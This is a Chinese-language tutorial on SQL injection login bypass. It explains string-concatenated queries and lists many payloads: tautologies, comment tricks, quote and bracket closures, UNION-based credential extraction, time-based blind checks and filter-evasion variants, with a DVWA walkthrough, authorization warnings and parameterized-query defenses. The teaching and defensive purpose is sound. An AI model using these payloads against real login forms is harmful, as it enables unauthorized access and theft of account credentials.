new TEST 测试新富本编辑插件

登录框绕过技巧:常见SQL注入登录绕过方法
⚠️ 再次强调:以下内容仅用于在你自己搭建的测试环境(如DVWA、SQLi-Labs)或获得明确书面授权的系统中学习使用。任何未经授权的尝试都是违法行为。
一、原理说明
登录框注入的核心原理是:后端将用户输入的用户名和密码直接拼接到SQL查询语句中,导致我们可以通过构造特殊输入改变SQL逻辑。
典型的登录查询语句通常是这样的:
SELECT * FROM users WHERE username='$username' AND password='$password'
我们的目标就是让这个条件始终为真(TRUE),从而绕过验证。二、经典万能密码技巧
2.1 最基础的万能密码
在用户名框输入:
admin' OR '1'='1
密码随便填(比如 123)
实际生成的SQL变成:SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='123'
因为 '1'='1' 永远为真,所以整条语句返回真,登录成功。2.2 注释符绕过
在用户名框输入:
admin' --
密码随便填
生成的SQL:SELECT * FROM users WHERE username='admin' -- ' AND password='123'
-- 后面的内容被注释掉,只校验用户名是否存在。2.3 使用 # 注释(MySQL)
admin' #
效果同 --2.4 万能用户名+密码组合
直接在用户名框输入:
' OR 1=1 #
或者' OR '1'='1' --
密码留空或随便填。
生成的SQL:SELECT * FROM users WHERE username='' OR 1=1 #' AND password='xxx'
由于 OR 1=1 永远为真,且后面被注释掉,所以无条件登录成功。三、针对不同场景的变种
3.1 闭合方式变化
有些系统的SQL语句可能用双引号:
admin" OR "1"="1admin" --3.2 括号闭合
如果语句是:
SELECT * FROM users WHERE (username='$username') AND (password='$password')
可以尝试:admin') OR ('1'='1admin') --3.3 同时利用两个输入框
用户名: ' OR 1=1 --
密码: 任意
用户名: anything
密码: ' OR '1'='1
用户名: ' UNION SELECT 'admin','password' --
密码: 任意(适用于某些特殊场景)
四、实际测试步骤演示
假设你搭建了DVWA靶场(Low难度):
步骤1:打开登录页面
访问 DVWA 的登录页面(默认 http://127.0.0.1/DVWA/login.php)
步骤2:输入测试payload
尝试第一种:
用户名:admin' or '1'='1密码:anything- 尝试第二种:
用户名:admin' --- 密码:(留空或随便填)
- 尝试第三种:
用户名:' or 1=1 --密码:test
步骤3:观察结果
如果页面跳转到后台管理界面,说明存在SQL注入漏洞。
五、更进阶的技巧
5.1 基于时间的盲注判断
如果不确定是否有注入,可以用时间延迟来确认:
admin' AND SLEEP(5) --
如果页面加载明显卡顿5秒,说明存在注入。5.2 联合查询提取真实账号
先猜字段数:
' UNION SELECT 1,2,3 --
然后提取管理员账号密码:' UNION SELECT user,password FROM users --5.3 应对简单过滤
有些系统会过滤 or、and、空格等,可以尝试:
admin' || '1'='1
admin'/**/OR/**/'1'='1
admin'%20OR%20'1'%20=%20'1六、完整测试清单
| 输入框 | 输入内容 | 说明 |
|---|---|---|
| 用户名 | admin' OR '1'='1 | 经典万能密码 |
| 用户名 | admin' -- | 注释绕过 |
| 用户名 | ' OR 1=1 -- | 无条件登录 |
| 用户名 | admin' # | MySQL注释 |
| 用户名 | admin") OR ("1"="1 | 双引号+括号 |
| 用户名 | admin' AND 1=1 -- | 布尔判断 |
七、如何防御这些攻击
作为开发者,防御方法很简单:
- 使用参数化查询(PreparedStatement) — 这是最根本的解决方法
- 对输入进行严格过滤 — 但不要完全依赖
- 最小权限原则 — 数据库账号不要用root
- 示例(PHP PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->execute([$_POST['username'], $_POST['password']]);
这样无论输入什么,都只是作为字符串处理,不会破坏SQL结构。八、练习建议
- 在自己电脑装个虚拟机,部署DVWA或SQLi-Labs
- 从Low难度开始,逐步挑战Medium、High
- 每次成功后,查看源码理解为什么能绕过
- 记录笔记,总结不同场景下的有效payload
- 安全之路,始于足下。练习归练习,千万别手痒去试别人的网站!
💬 评论列表 (0)
暂无评论,快来抢沙发吧!
发表评论